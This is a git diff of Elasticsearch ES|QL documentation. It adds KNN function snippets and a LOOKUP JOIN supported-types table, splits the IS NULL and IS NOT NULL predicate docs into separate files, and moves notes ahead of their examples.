 .../definition/operators/predicates.json      | 194 ------------------
 .../esql/kibana/docs/functions/bit_length.md  |   3 +-
 .../esql/kibana/docs/functions/byte_length.md |   3 +-
 .../esql/kibana/docs/functions/ceil.md        |   3 +-
 .../esql/kibana/docs/functions/floor.md       |   7 +-
 .../esql/kibana/docs/functions/greatest.md    |   3 +-
 .../esql/kibana/docs/functions/length.md      |   3 +-
 .../esql/kibana/docs/functions/median.md      |   3 +-
 .../functions/median_absolute_deviation.md    |   3 +-
 .../esql/kibana/docs/functions/mv_dedupe.md   |   3 +-
 .../functions/mv_median_absolute_deviation.md |   3 +-
 .../esql/kibana/docs/functions/pow.md         |   3 +-
 .../kibana/docs/functions/to_date_nanos.md    |   3 +-
 .../esql/kibana/docs/functions/to_datetime.md |   3 +-
 .../esql/kibana/docs/operators/add.md         |   1 -
 .../esql/kibana/docs/operators/is_not_null.md |   6 +
 .../esql/kibana/docs/operators/is_null.md     |   5 +
 .../esql/kibana/docs/operators/mod.md         |   1 -
 .../esql/kibana/docs/operators/mul.md         |   1 -
 .../esql/kibana/docs/operators/neg.md         |   1 -
 .../esql/kibana/docs/operators/not in.md      |   1 -
 .../esql/kibana/docs/operators/not like.md    |   1 -
 .../esql/kibana/docs/operators/not rlike.md   |   1 -
 .../esql/kibana/docs/operators/predicates.md  |   9 -
 .../esql/kibana/docs/operators/sub.md         |   1 -
 x-pack/plugin/esql/build.gradle               |  41 ++++
 .../xpack/esql/action/LookupJoinTypesIT.java  |  33 +++
 .../expression/predicate/nulls/IsNotNull.java |   4 +-
 .../expression/predicate/nulls/IsNull.java    |   4 +-
 .../expression/function/DocsV3Support.java    | 105 ++++++++--
 .../operator/NullPredicatesTests.java         | 181 ----------------
 51 files changed, 371 insertions(+), 490 deletions(-)
 create mode 100644 docs/reference/query-languages/esql/_snippets/commands/types/lookup-join.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/description/knn.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/examples/knn.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/functionNamedParams/knn.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/layout/knn.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/parameters/knn.md
 delete mode 100644 docs/reference/query-languages/esql/_snippets/operators/examples/predicates.md
 delete mode 100644 docs/reference/query-languages/esql/_snippets/operators/types/predicates.md
 delete mode 100644 docs/reference/query-languages/esql/images/operators/predicates.svg
 delete mode 100644 docs/reference/query-languages/esql/kibana/definition/operators/predicates.json
 delete mode 100644 docs/reference/query-languages/esql/kibana/docs/operators/predicates.md
 delete mode 100644 x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/NullPredicatesTests.java

diff --git a/docs/reference/query-languages/esql/_snippets/commands/layout/lookup-join.md b/docs/reference/query-languages/esql/_snippets/commands/layout/lookup-join.md
index da99cc69c031a..7b4f2d794ac22 100644
--- a/docs/reference/query-languages/esql/_snippets/commands/layout/lookup-join.md
+++ b/docs/reference/query-languages/esql/_snippets/commands/layout/lookup-join.md
@@ -42,6 +42,9 @@ results, the output will contain one row for each matching combination.
 For important information about using `LOOKUP JOIN`, refer to [Usage notes](../../../../esql/esql-lookup-join.md#usage-notes).
 ::::
 
+:::{include} ../types/lookup-join.md
+:::
+
 **Examples**
 
 **IP Threat correlation**: This query would allow you to see if any source
diff --git a/docs/reference/query-languages/esql/_snippets/commands/types/lookup-join.md b/docs/reference/query-languages/esql/_snippets/commands/types/lookup-join.md
new file mode 100644
index 0000000000000..3e54f0ad66277
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/commands/types/lookup-join.md
@@ -0,0 +1,21 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Supported types**
+
+| field from the left index | field from the lookup index | 
+| --- | --- | 
+| boolean | boolean |
+| byte | half_float, float, double, scaled_float, byte, short, integer, long |
+| date | date |
+| date_nanos | date_nanos |
+| double | half_float, float, double, scaled_float, byte, short, integer, long |
+| float | half_float, float, double, scaled_float, byte, short, integer, long |
+| half_float | half_float, float, double, scaled_float, byte, short, integer, long |
+| integer | half_float, float, double, scaled_float, byte, short, integer, long |
+| ip | ip |
+| keyword | keyword |
+| long | half_float, float, double, scaled_float, byte, short, integer, long |
+| scaled_float | half_float, float, double, scaled_float, byte, short, integer, long |
+| short | half_float, float, double, scaled_float, byte, short, integer, long |
+| text | keyword |
+
diff --git a/docs/reference/query-languages/esql/_snippets/functions/description/knn.md b/docs/reference/query-languages/esql/_snippets/functions/description/knn.md
new file mode 100644
index 0000000000000..c39604bbf1fa6
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/description/knn.md
@@ -0,0 +1,6 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Description**
+
+Finds the k nearest vectors to a query vector, as measured by a similarity metric. knn function finds nearest vectors through approximate search on indexed dense_vectors.
+
diff --git a/docs/reference/query-languages/esql/_snippets/functions/examples/knn.md b/docs/reference/query-languages/esql/_snippets/functions/examples/knn.md
new file mode 100644
index 0000000000000..2a474d7bfef13
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/examples/knn.md
@@ -0,0 +1,30 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Examples**
+
+```esql
+from colors metadata _score
+| where knn(rgb_vector, [0, 120, 0])
+| sort _score desc, color asc
+```
+
+| color:text | rgb_vector:dense_vector |
+| --- | --- |
+| green | [0.0, 128.0, 0.0] |
+| black | [0.0, 0.0, 0.0] |
+| olive | [128.0, 128.0, 0.0] |
+| teal | [0.0, 128.0, 128.0] |
+| lime | [0.0, 255.0, 0.0] |
+| sienna | [160.0, 82.0, 45.0] |
+| maroon | [128.0, 0.0, 0.0] |
+| navy | [0.0, 0.0, 128.0] |
+| gray | [128.0, 128.0, 128.0] |
+| chartreuse | [127.0, 255.0, 0.0] |
+
+```esql
+from colors metadata _score
+| where knn(rgb_vector, [0,255,255], {"k": 4})
+| sort _score desc, color asc
+```
+
+
diff --git a/docs/reference/query-languages/esql/_snippets/functions/functionNamedParams/knn.md b/docs/reference/query-languages/esql/_snippets/functions/functionNamedParams/knn.md
new file mode 100644
index 0000000000000..d663e403f8a42
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/functionNamedParams/knn.md
@@ -0,0 +1,19 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Supported function named parameters**
+
+`num_candidates`
+:   (integer) The number of nearest neighbor candidates to consider per shard while doing knn search. Cannot exceed 10,000. Increasing num_candidates tends to improve the accuracy of the final results. Defaults to 1.5 * k
+
+`boost`
+:   (float) Floating point number used to decrease or increase the relevance scores of the query.Defaults to 1.0.
+
+`k`
+:   (integer) The number of nearest neighbors to return from each shard. Elasticsearch collects k results from each shard, then merges them to find the global top results. This value must be less than or equal to num_candidates. Defaults to 10.
+
+`rescore_oversample`
+:   (double) Applies the specified oversampling for rescoring quantized vectors. See [oversampling and rescoring quantized vectors](docs-content://solutions/search/vector/knn.md#dense-vector-knn-search-rescoring) for details.
+
+`similarity`
+:   (double) The minimum similarity required for a document to be considered a match. The similarity value calculated relates to the raw similarity used, not the document score.
+
diff --git a/docs/reference/query-languages/esql/_snippets/functions/layout/knn.md b/docs/reference/query-languages/esql/_snippets/functions/layout/knn.md
new file mode 100644
index 0000000000000..dae08f95757b9
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/layout/knn.md
@@ -0,0 +1,30 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+## `KNN` [esql-knn]
+```{applies_to}
+stack: development
+serverless: preview
+```
+
+**Syntax**
+
+:::{image} ../../../images/functions/knn.svg
+:alt: Embedded
+:class: text-center
+:::
+
+
+:::{include} ../parameters/knn.md
+:::
+
+:::{include} ../description/knn.md
+:::
+
+:::{include} ../types/knn.md
+:::
+
+:::{include} ../functionNamedParams/knn.md
+:::
+
+:::{include} ../examples/knn.md
+:::
diff --git a/docs/reference/query-languages/esql/_snippets/functions/parameters/knn.md b/docs/reference/query-languages/esql/_snippets/functions/parameters/knn.md
new file mode 100644
index 0000000000000..fb1b98a1e8a7a
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/parameters/knn.md
@@ -0,0 +1,13 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Parameters**
+
+`field`
+:   Field that the query will target.
+
+`query`
+:   Vector value to find top nearest neighbours for.
+
+`options`
+:   (Optional) kNN additional options as [function named parameters](/reference/query-languages/esql/esql-syntax.md#esql-function-named-params). See [knn query](/reference/query-languages/query-dsl/query-dsl-match-query.md#query-dsl-knn-query) for more information.
+
diff --git a/docs/reference/query-languages/esql/_snippets/operators/examples/predicates.md b/docs/reference/query-languages/esql/_snippets/operators/examples/predicates.md
deleted file mode 100644
index ba34a2d736a83..0000000000000
--- a/docs/reference/query-languages/esql/_snippets/operators/examples/predicates.md
+++ /dev/null
@@ -1,26 +0,0 @@
-% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
-
-**Examples**
-
-```esql
-FROM employees
-| WHERE birth_date IS NULL
-```
-
-| first_name:keyword | last_name:keyword |
-| --- | --- |
-| Basil | Tramer |
-| Florian | Syrotiuk |
-| Lucien | Rosenbaum |
-
-```esql
-FROM employees
-| WHERE is_rehired IS NOT NULL
-| STATS COUNT(emp_no)
-```
-
-| COUNT(emp_no):long |
-| --- |
-| 84 |
-
-
diff --git a/docs/reference/query-languages/esql/_snippets/operators/types/predicates.md b/docs/reference/query-languages/esql/_snippets/operators/types/predicates.md
deleted file mode 100644
index 19fc0a9465976..0000000000000
--- a/docs/reference/query-languages/esql/_snippets/operators/types/predicates.md
+++ /dev/null
@@ -1,22 +0,0 @@
-% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
-
-**Supported types**
-
-| field | result |
-| --- | --- |
-| boolean | boolean |
-| cartesian_point | boolean |
-| cartesian_shape | boolean |
-| date | boolean |
-| date_nanos | boolean |
-| double | boolean |
-| geo_point | boolean |
-| geo_shape | boolean |
-| integer | boolean |
-| ip | boolean |
-| keyword | boolean |
-| long | boolean |
-| text | boolean |
-| unsigned_long | boolean |
-| version | boolean |
-
diff --git a/docs/reference/query-languages/esql/esql-lookup-join.md b/docs/reference/query-languages/esql/esql-lookup-join.md
index d57437833c1b2..0b6764834e1d6 100644
--- a/docs/reference/query-languages/esql/esql-lookup-join.md
+++ b/docs/reference/query-languages/esql/esql-lookup-join.md
@@ -142,19 +142,38 @@ Refer to the examples section of the [`LOOKUP JOIN`](/reference/query-languages/
 
 ## Prerequisites [esql-lookup-join-prereqs]
 
-To use `LOOKUP JOIN`, the following requirements must be met:
+### Index configuration
 
-* Indices used for lookups must be configured with the [`lookup` index mode](/reference/elasticsearch/index-settings/index-modules.md#index-mode-setting)
-* **Compatible data types**: The join key and join field in the lookup index must have compatible data types. This means:
-  * The data types must either be identical or be internally represented as the same type in {{esql}}
-  * Numeric types follow these compatibility rules:
-    * `short` and `byte` are compatible with `integer` (all represented as `int`)
-    * `float`, `half_float`, and `scaled_float` are compatible with `double` (all represented as `double`)
-  * For text fields: You can only use text fields as the join key on the left-hand side of the join and only if they have a `.keyword` subfield
+Indices used for lookups must be configured with the [`lookup` index mode](/reference/elasticsearch/index-settings/index-modules.md#index-mode-setting).
 
+### Data type compatibility
+
+Join keys must have compatible data types between the source and lookup indices. Types within the same compatibility group can be joined together:
+
+| Compatibility group    | Types                                                                               | Notes                                                                            |
+|------------------------|-------------------------------------------------------------------------------------|----------------------------------------------------------------------------------|
+| **Numeric family**     | `byte`, `short`, `integer`, `long`, `half_float`, `float`, `scaled_float`, `double` | All compatible                    |
+| **Keyword family**     | `keyword`, `text.keyword`                                                           | Text fields only as join key on left-hand side and must have `.keyword` subfield |
+| **Date (Exact)**       | `date`                                                                              | Must match exactly                                                               |
+| **Date Nanos (Exact)** | `date_nanos`                                                                        | Must match exactly                                                               |
+| **Boolean**            | `boolean`                                                                           | Must match exactly                                                               |
+
+```{tip}
 To obtain a join key with a compatible type, use a [conversion function](/reference/query-languages/esql/functions-operators/type-conversion-functions.md) if needed.
+```
 
-For a complete list of supported data types and their internal representations, see the [Supported Field Types documentation](/reference/query-languages/esql/limitations.md#_supported_types).
+### Unsupported Types
+
+In addition to the [{{esql}} unsupported field types](/reference/query-languages/esql/limitations.md#_unsupported_types), `LOOKUP JOIN` does not support:
+
+* `VERSION`
+* `UNSIGNED_LONG`
+* Spatial types like `GEO_POINT`, `GEO_SHAPE`
+* Temporal intervals like `DURATION`, `PERIOD`
+
+```{note}
+For a complete list of all types supported in `LOOKUP JOIN`, refer to the [`LOOKUP JOIN` supported types table](/reference/query-languages/esql/commands/processing-commands.md#esql-lookup-join).
+```
 
 ## Usage notes
 
diff --git a/docs/reference/query-languages/esql/images/operators/predicates.svg b/docs/reference/query-languages/esql/images/operators/predicates.svg
deleted file mode 100644
index 2740ff8dc31e6..0000000000000
--- a/docs/reference/query-languages/esql/images/operators/predicates.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" width="348" height="46" viewbox="0 0 348 46"><defs><style type="text/css">.c{fill:none;stroke:#222222;}.j{fill:#000000;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-size:20px;}.l{fill:#e4f4ff;stroke:#222222;}.syn{fill:#8D8D8D;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-size:20px;}</style></defs><path class="c" d="M0 31h5m296 0h10m32 0h5"/><rect class="l" x="5" y="5" width="296" height="36" rx="7"/><text class="syn" x="15" y="31">IS NULL and IS NOT NULL</text><rect class="l" x="311" y="5" width="32" height="36" rx="7"/><text class="j" x="321" y="31">v</text></svg>
\ No newline at end of file
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohash.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohash.json
index d2fc83008c150..43633b336453a 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohash.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohash.json
@@ -52,4 +52,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex.json
index 9a3a04cb0a7f8..f29db14ed50e7 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex.json
@@ -55,4 +55,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_long.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_long.json
index 52c7918a0c3ad..d582739620024 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_long.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_long.json
@@ -34,4 +34,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_string.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_string.json
index 612b13691d40c..a1abce7c75adb 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_string.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geohex_to_string.json
@@ -34,4 +34,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile.json
index 06df5e3076fea..d728f186fc5ae 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile.json
@@ -52,4 +52,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_long.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_long.json
index 2eb49b5c320f9..b2c7c01aea606 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_long.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_long.json
@@ -34,4 +34,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_string.json b/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_string.json
index df8e91514dc7b..5a327c2c50976 100644
--- a/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_string.json
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/st_geotile_to_string.json
@@ -34,4 +34,4 @@
   ],
   "preview" : true,
   "snapshot_only" : true
-}
\ No newline at end of file
+}
diff --git a/docs/reference/query-languages/esql/kibana/definition/operators/is_not_null.json b/docs/reference/query-languages/esql/kibana/definition/operators/is_not_null.json
index 3722fbfaddeb8..f184165c249d4 100644
--- a/docs/reference/query-languages/esql/kibana/definition/operators/is_not_null.json
+++ b/docs/reference/query-languages/esql/kibana/definition/operators/is_not_null.json
@@ -223,6 +223,9 @@
       "returnType" : "boolean"
     }
   ],
+  "examples" : [
+    "FROM employees\n| WHERE is_rehired IS NOT NULL\n| STATS COUNT(emp_no)"
+  ],
   "preview" : false,
   "snapshot_only" : false
 }
diff --git a/docs/reference/query-languages/esql/kibana/definition/operators/is_null.json b/docs/reference/query-languages/esql/kibana/definition/operators/is_null.json
index 0f6e70f8a0b91..dd8c9b4e3d4e7 100644
--- a/docs/reference/query-languages/esql/kibana/definition/operators/is_null.json
+++ b/docs/reference/query-languages/esql/kibana/definition/operators/is_null.json
@@ -223,6 +223,9 @@
       "returnType" : "boolean"
     }
   ],
+  "examples" : [
+    "FROM employees\n| WHERE birth_date IS NULL"
+  ],
   "preview" : false,
   "snapshot_only" : false
 }
diff --git a/docs/reference/query-languages/esql/kibana/definition/operators/predicates.json b/docs/reference/query-languages/esql/kibana/definition/operators/predicates.json
deleted file mode 100644
index 516343c17af53..0000000000000
--- a/docs/reference/query-languages/esql/kibana/definition/operators/predicates.json
+++ /dev/null
@@ -1,194 +0,0 @@
-{
-  "comment" : "This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.",
-  "type" : "scalar",
-  "name" : "predicates",
-  "description" : "For NULL comparison use the `IS NULL` and `IS NOT NULL` predicates.",
-  "signatures" : [
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "boolean",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "cartesian_point",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "cartesian_shape",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "date",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "date_nanos",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "double",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "geo_point",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "geo_shape",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "integer",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "ip",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "keyword",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "long",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "text",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "unsigned_long",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    },
-    {
-      "params" : [
-        {
-          "name" : "field",
-          "type" : "version",
-          "optional" : false,
-          "description" : "Input value. The input can be a single- or multi-valued column or an expression."
-        }
-      ],
-      "variadic" : false,
-      "returnType" : "boolean"
-    }
-  ],
-  "examples" : [
-    "FROM employees\n| WHERE birth_date IS NULL",
-    "FROM employees\n| WHERE is_rehired IS NOT NULL\n| STATS COUNT(emp_no)"
-  ],
-  "preview" : false,
-  "snapshot_only" : false
-}
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/bit_length.md b/docs/reference/query-languages/esql/kibana/docs/functions/bit_length.md
index 19eb4e805aaf6..6bcd15e35af13 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/bit_length.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/bit_length.md
@@ -3,10 +3,11 @@
 ### BIT LENGTH
 Returns the bit length of a string.
 
+Note: All strings are in UTF-8, so a single character can use multiple bytes.
+
 ```esql
 FROM airports
 | WHERE country == "India"
 | KEEP city
 | EVAL fn_length = LENGTH(city), fn_bit_length = BIT_LENGTH(city)
 ```
-Note: All strings are in UTF-8, so a single character can use multiple bytes.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/byte_length.md b/docs/reference/query-languages/esql/kibana/docs/functions/byte_length.md
index 6d9a7c9c10c41..a503e9cf54706 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/byte_length.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/byte_length.md
@@ -3,10 +3,11 @@
 ### BYTE LENGTH
 Returns the byte length of a string.
 
+Note: All strings are in UTF-8, so a single character can use multiple bytes.
+
 ```esql
 FROM airports
 | WHERE country == "India"
 | KEEP city
 | EVAL fn_length = LENGTH(city), fn_byte_length = BYTE_LENGTH(city)
 ```
-Note: All strings are in UTF-8, so a single character can use multiple bytes.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/ceil.md b/docs/reference/query-languages/esql/kibana/docs/functions/ceil.md
index 31830a0b700ac..04d14197753f0 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/ceil.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/ceil.md
@@ -3,8 +3,9 @@
 ### CEIL
 Round a number up to the nearest integer.
 
+Note: This is a noop for `long` (including unsigned) and `integer`. For `double` this picks the closest `double` value to the integer similar to [Math.ceil](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Math.html#ceil(double)).
+
 ```esql
 ROW a=1.8
 | EVAL a=CEIL(a)
 ```
-Note: This is a noop for `long` (including unsigned) and `integer`. For `double` this picks the closest `double` value to the integer similar to [Math.ceil](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Math.html#ceil(double)).
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/floor.md b/docs/reference/query-languages/esql/kibana/docs/functions/floor.md
index 60cf9cc17ee4c..bdef3d2c31302 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/floor.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/floor.md
@@ -3,10 +3,11 @@
 ### FLOOR
 Round a number down to the nearest integer.
 
+Note: This is a noop for `long` (including unsigned) and `integer`.
+For `double` this picks the closest `double` value to the integer
+similar to [Math.floor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Math.html#floor(double)).
+
 ```esql
 ROW a=1.8
 | EVAL a=FLOOR(a)
 ```
-Note: This is a noop for `long` (including unsigned) and `integer`.
-For `double` this picks the closest `double` value to the integer
-similar to [Math.floor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Math.html#floor(double)).
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/greatest.md b/docs/reference/query-languages/esql/kibana/docs/functions/greatest.md
index 752cc0ed77748..5ea02251ed3d1 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/greatest.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/greatest.md
@@ -4,8 +4,9 @@
 Returns the maximum value from multiple columns. This is similar to [`MV_MAX`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/mv-functions#esql-mv_max)
 except it is intended to run on multiple columns at once.
 
+Note: When run on `keyword` or `text` fields, this returns the last string in alphabetical order. When run on `boolean` columns this will return `true` if any values are `true`.
+
 ```esql
 ROW a = 10, b = 20
 | EVAL g = GREATEST(a, b)
 ```
-Note: When run on `keyword` or `text` fields, this returns the last string in alphabetical order. When run on `boolean` columns this will return `true` if any values are `true`.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/length.md b/docs/reference/query-languages/esql/kibana/docs/functions/length.md
index 71c4dd554f9f7..8e2713e37e073 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/length.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/length.md
@@ -3,10 +3,11 @@
 ### LENGTH
 Returns the character length of a string.
 
+Note: All strings are in UTF-8, so a single character can use multiple bytes.
+
 ```esql
 FROM airports
 | WHERE country == "India"
 | KEEP city
 | EVAL fn_length = LENGTH(city)
 ```
-Note: All strings are in UTF-8, so a single character can use multiple bytes.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/median.md b/docs/reference/query-languages/esql/kibana/docs/functions/median.md
index 6fc72bfb82421..0028f7afc4934 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/median.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/median.md
@@ -3,8 +3,9 @@
 ### MEDIAN
 The value that is greater than half of all values and less than half of all values, also known as the 50% [`PERCENTILE`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile).
 
+Note: Like [`PERCENTILE`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile), `MEDIAN` is [usually approximate](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile-approximate).
+
 ```esql
 FROM employees
 | STATS MEDIAN(salary), PERCENTILE(salary, 50)
 ```
-Note: Like [`PERCENTILE`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile), `MEDIAN` is [usually approximate](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile-approximate).
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/median_absolute_deviation.md b/docs/reference/query-languages/esql/kibana/docs/functions/median_absolute_deviation.md
index 4be62924710f1..94a3c0cb9a3f8 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/median_absolute_deviation.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/median_absolute_deviation.md
@@ -5,8 +5,9 @@ Returns the median absolute deviation, a measure of variability. It is a robust
 
 It is calculated as the median of each data point’s deviation from the median of the entire sample. That is, for a random variable `X`, the median absolute deviation is `median(|median(X) - X|)`.
 
+Note: Like [`PERCENTILE`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile), `MEDIAN_ABSOLUTE_DEVIATION` is [usually approximate](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile-approximate).
+
 ```esql
 FROM employees
 | STATS MEDIAN(salary), MEDIAN_ABSOLUTE_DEVIATION(salary)
 ```
